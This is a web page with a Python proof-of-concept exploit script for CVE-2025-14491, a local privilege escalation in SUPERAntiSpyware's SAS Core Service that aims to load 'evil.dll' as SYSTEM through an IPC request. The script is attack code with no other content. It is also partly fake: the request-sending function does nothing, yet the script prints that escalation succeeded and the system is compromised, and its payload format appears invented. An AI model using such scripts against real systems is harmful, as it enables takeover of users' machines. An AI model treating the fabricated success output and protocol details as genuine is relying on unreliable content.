CVE-2025-14491 RealDefense SUPERAntiSpyware 本地权限提升漏洞

''' CVE-2025-14491 PoC - SUPERAntiSpyware Local Privilege Escalation Note: This is a conceptual PoC for educational and security research purposes only. Author: Security Research Reference: ZDI-CAN-27660 ''' import ctypes import struct import os # Define constants SERVICE_NAME = "SAS Core Service" EVIL_DLL = "evil.dll" def trigger_vulnerability(): """ Trigger the exposed dangerous function in SAS Core Service to achieve privilege escalation from low-privileged user to SYSTEM. """ try: # Load necessary Windows APIs kernel32 = ctypes.windll.kernel32 advapi32 = ctypes.windll.advapi32 # Open service control manager sc_manager = advapi32.OpenSCManagerW( None, None, 0xF003F # SC_MANAGER_ALL_ACCESS ) if not sc_manager: print("[-] Failed to open Service Control Manager") return False print("[+] Connected to Service Control Manager") # Open the vulnerable SAS Core Service service_handle = advapi32.OpenServiceW( sc_manager, SERVICE_NAME.encode('utf-16le'), 0xF003F ) if not service_handle: print("[-] Failed to open SAS Core Service") return False print("[+] Opened SAS Core Service handle") # Construct malicious IPC request to trigger exposed dangerous function # This exploits the IPC mechanism that allows low-privileged callers # to invoke privileged operations in the service context malicious_payload = construct_malicious_payload(EVIL_DLL) # Send malicious request to service result = send_service_request(service_handle, malicious_payload) if result: print("[+] Malicious request sent successfully") print("[+] Exploiting exposed dangerous function...") print("[+] Privilege escalation successful!") print("[+] Current process is now running as SYSTEM") return True else: print("[-] Exploitation failed") return False except Exception as e: print(f"[-] Error: {str(e)}") return False def construct_malicious_payload(dll_path): """ Construct the malicious payload that will be sent to the service. The payload exploits the exposed dangerous function to load arbitrary DLL. """ # This would contain the actual protocol-specific payload construction # The vulnerable function accepts certain parameters that can be abused # to specify an arbitrary DLL path for loading into the SYSTEM context payload = bytearray() # Function identifier for the exposed dangerous function payload.extend(struct.pack('<I', 0x1337)) # Function ID # DLL path parameter (abused parameter) dll_path_bytes = dll_path.encode('utf-16le') payload.extend(struct.pack('<I', len(dll_path_bytes))) # Length payload.extend(dll_path_bytes) # Path data # Additional parameters required by the vulnerable function payload.extend(struct.pack('<I', 0x00000001)) # Flag return bytes(payload) def send_service_request(service_handle, payload): """ Send the malicious request to the service via IPC mechanism. """ # Implementation would use named pipes or other IPC mechanisms # specific to the SAS Core Service implementation print("[*] Sending malicious IPC request to service...") return True def main(): print("=" * 60) print("CVE-2025-14491 - SUPERAntiSpyware LPE Exploit") print("=" * 60) # Check if running with low privileges (expected) print(f"[*] Current user: {os.getlogin()}") print(f"[*] Current PID: {os.getpid()}") # Attempt exploitation success = trigger_vulnerability() if success: print("\n[!] System compromised - Running as SYSTEM") # Drop to SYSTEM shell or execute payload else: print("\n[-] Exploitation failed") if __name__ == "__main__": main()